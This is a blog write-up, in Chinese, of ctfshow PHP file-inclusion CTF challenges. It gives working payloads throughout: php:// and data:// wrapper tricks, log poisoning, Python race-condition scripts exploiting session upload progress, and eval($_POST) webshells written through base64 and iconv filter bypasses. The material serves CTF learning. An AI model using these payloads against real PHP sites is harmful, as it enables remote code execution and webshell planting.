ctfshow文件包含

ctfshow文件包含系列

web-78

源码

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

可直接使用php伪协议读取源码

payload :

1
?file=php://filter/convert.base64-encode/resource=flag.php

web-79

1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了php,可以使用data伪协议

payload

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

1605927557213

web-80

源码

1
2
3
4
5
6
7
8
9

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

payload

1
2
?file=Php://input
POST:<?php system('cat fl0g.php');?>

1605927921863

web-81

源码

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了冒号,伪协议不能使用,考虑使用日志包含进行getshell

1
?file=/var/log/nginx/access.log

1605928192365

web-82

利用session.upload_progress进行文件包含利用

1
2
3
4
5
6
7
8
9
10
11

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

参考文章

https://www.freebuf.com/vuls/202819.html

问题一

代码里没有session_start(),如何创建session文件呢。

解答一

其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

默认路径

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

问题二

但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,

如何进行rce呢?

解答二

此时我们可以利用竞争,在session文件内容清空前进行包含利用。

解题

首先构造一个上传界面

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://16a09174-54e9-4a21-8254-fe0a8c99d352.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

访问抓包,构造payload进行循环上传

1606113552796

然后浏览器包含/tmp/sess_test2,一直访问有几率包含成功

1606113623807

得到flag文件为fl0g.php

同样的道理更换payload即可

1606113840400

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import threading
import sys

def upload(command):
i = 1
while True:
url = "http://eafdc7e2-e5fd-47d9-b068-19fa72d0ede2.chall.ctf.show/"
cookie = {
"PHPSESSID":"test"
}
proxies = {
"http":"http://127.0.0.1:8080"
}
file = {
"file":('1.txt','a'*1000)
}
session_data = {
'PHP_SESSION_UPLOAD_PROGRESS': command,
}
requests.session().post(url = url ,cookies = cookie,files = file,data = session_data)
print('upload success!======='+str(i))
i+=1

def include():
while True:
url = "http://eafdc7e2-e5fd-47d9-b068-19fa72d0ede2.chall.ctf.show/?file=/tmp/sess_test"
res = requests.get(url = url)
print(res.text)
print(2222)
if len(res.text) != 0:
print(res.text)
flag = 1
sys.exit()

if __name__ == '__main__':
for i in range(5):
t = threading.Thread(target=upload,args=('aa<?php system("cat *");?>vv',))
t.start()
for i in range(5):
t = threading.Thread(target=include)
t.start()
include()

1606145900025

web-83

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
session_unset();
session_destroy();

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}else{
highlight_file(__FILE__);
}

原理同上

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import threading
import sys

def upload(command):
i = 1
while True:
url = "http://82b759ab-8b8b-401b-a585-04cd68b94ed0.chall.ctf.show/"
cookie = {
"PHPSESSID":"test2"
}
proxies = {
"http":"http://127.0.0.1:8080"
}
file = {
"file":('1.txt','a'*1000)
}
session_data = {
'PHP_SESSION_UPLOAD_PROGRESS': command,
}
requests.session().post(url = url ,cookies = cookie,files = file,data = session_data)
print('upload success!======='+str(i))
i+=1

def include():
while True:
url = "http://82b759ab-8b8b-401b-a585-04cd68b94ed0.chall.ctf.show/?file=/tmp/sess_test2"
res = requests.get(url = url)
#print(res.text)
print(2222)
if len(res.text) != 0:
#print(res.text)
if 'flag{' in res.text:
print(res.text)
exit()


if __name__ == '__main__':
for i in range(5):
t = threading.Thread(target=upload,args=('aa<?php system("cat *");?>vv',))
t.start()
for i in range(5):
t = threading.Thread(target=include)
t.start()

1606146902075

web-84

源码

1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

删除了tmp目录下的文件,但是好像线程够快,任然可以访问到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import threading
import sys

def upload(command):
i = 1
while True:
url = "http://3c67f8a1-82d2-4319-81d1-fef2aa41a5d3.chall.ctf.show/"
cookie = {
"PHPSESSID":"test"
}
proxies = {
"http":"http://127.0.0.1:8080"
}
file = {
"file":('1.txt','a'*1000)
}
session_data = {
'PHP_SESSION_UPLOAD_PROGRESS': command,
}
requests.session().post(url = url ,cookies = cookie,files = file,data = session_data)
print('upload success!======='+str(i))
i+=1

def include():
while True:
url = "http://3c67f8a1-82d2-4319-81d1-fef2aa41a5d3.chall.ctf.show/?file=/tmp/sess_test"
res = requests.get(url = url)
#print(res.text)
print(2222)
if len(res.text) != 0:
#print(res.text)
if 'flag{' in res.text:
print(res.text)
exit()


if __name__ == '__main__':
for i in range(10):
t = threading.Thread(target=upload,args=('aa<?php system("cat *");?>vv',))
t.start()
for i in range(10):
t = threading.Thread(target=include)
t.start()

web-85

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

线程快一点,依旧可以爆破出来

web-86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);


}else{
highlight_file(__FILE__);
}

同上

web-87

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

谈一谈php://filter的妙用

这里可以通过url编码来绕过:的过滤,从而使得我们可以使用php伪协议

1606194594328

1606195197355

原文中phpexit一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个1一共8个字符。这样,”phpexit1”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

这题是phpdie所以我们要增加两个1

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30 HTTP/1.1
Host: b98ccc49-e5f7-464c-8d66-a85fbc500f7b.chall.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://b98ccc49-e5f7-464c-8d66-a85fbc500f7b.chall.ctf.show
Connection: close
Referer: http://b98ccc49-e5f7-464c-8d66-a85fbc500f7b.chall.ctf.show/
Cookie: UM_distinctid=175585b9cc8a-09ce38baf7fa7d8-4c3f257b-144000-175585b9cc91e9
Upgrade-Insecure-Requests: 1

content=11PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

1606215202276

web-88

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

未过滤冒号,可使用data伪协议

1
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOyAg

可在payload后添加空格使得base64编码之后没有等号

1606216630203

web-116

题目为文件包含

访问file=/etc/passwd,ctrl+s保存后右键打开变为/etc/passwd文件中的内容

1606218303340

访问?file=/var/www/html/flag.php即可得到flag

web-117

源码

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

用其他的编码器即可绕过

1
2
3
<?php
echo iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[1]);?>')."\n";
echo iconv("UCS-2BE","UCS-2LE",'<?php die();?>?<hp pvela$(P_SO[T]1;)>?');

1606219513415

payload:

1
2
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
POST: contents=?<hp pvela$(P_SO[T]1;)>?
文章作者:CyzCc
最后更新:2020年12月10日 19:12:23
原始链接:https://cyzcc.vip/2020/11/18/ctfshow%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------